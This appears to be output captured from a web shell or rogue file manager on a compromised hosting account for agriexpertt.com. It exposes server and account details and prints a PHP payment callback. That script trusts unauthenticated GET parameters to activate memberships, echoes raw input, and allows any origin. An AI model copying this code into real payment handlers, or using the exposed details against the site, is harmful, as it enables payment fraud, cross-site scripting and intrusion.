🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux in-mum-web1643.main-hosting.eu 5.14.0-687.46.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Sep 11 09:03:19 EDT 2026 x86_64
👤 User: u621169360 (621169360)
🐘 PHP: 8.2.33
🚫 Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail

💻 Terminal

📁 /home/u621169360/domains/agriexpertt.com/public_html
$

📄 insta_response.php

📁 Path: /home/u621169360/domains/agriexpertt.com/public_html/mobile/Flutter/insta_response.php
📊 Size: 1.14 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php


// Enable CORS headers
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST");
header("Access-Control-Allow-Headers: Content-Type");

require_once 'db.php';


$recharge_id = $_GET['recharge_id'];
$payment_id = $_GET['payment_id'];
$payment_status = $_GET['payment_status'];
$payment_request_id = $_GET['payment_request_id'];

echo $recharge_id;
echo $payment_id;
echo $payment_status;
echo $payment_request_id;



if($payment_status == 'Credit'){
    $status = 'Active';
}else{
    $status = 'Inactive';
}

 
// Update the membership table to include the payment proof
        $sql = "UPDATE membership SET membership_payment_proof = :payment_proof , status = :status
                WHERE id = :recharge_id";

        $pdo1 = $pdo->prepare($sql);
        $pdo1->bindParam(':payment_proof', $payment_id); 
        $pdo1->bindParam(':status', $status);// Assuming $photo1 contains the filename
        $pdo1->bindParam(':recharge_id', $recharge_id);
        $pdo1->execute();

        echo "Successful Upload";
        header("Location: https://agriexpertt.com/mobile/Flutter/recharge.php?type=Thankyou");
        
       


?>
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨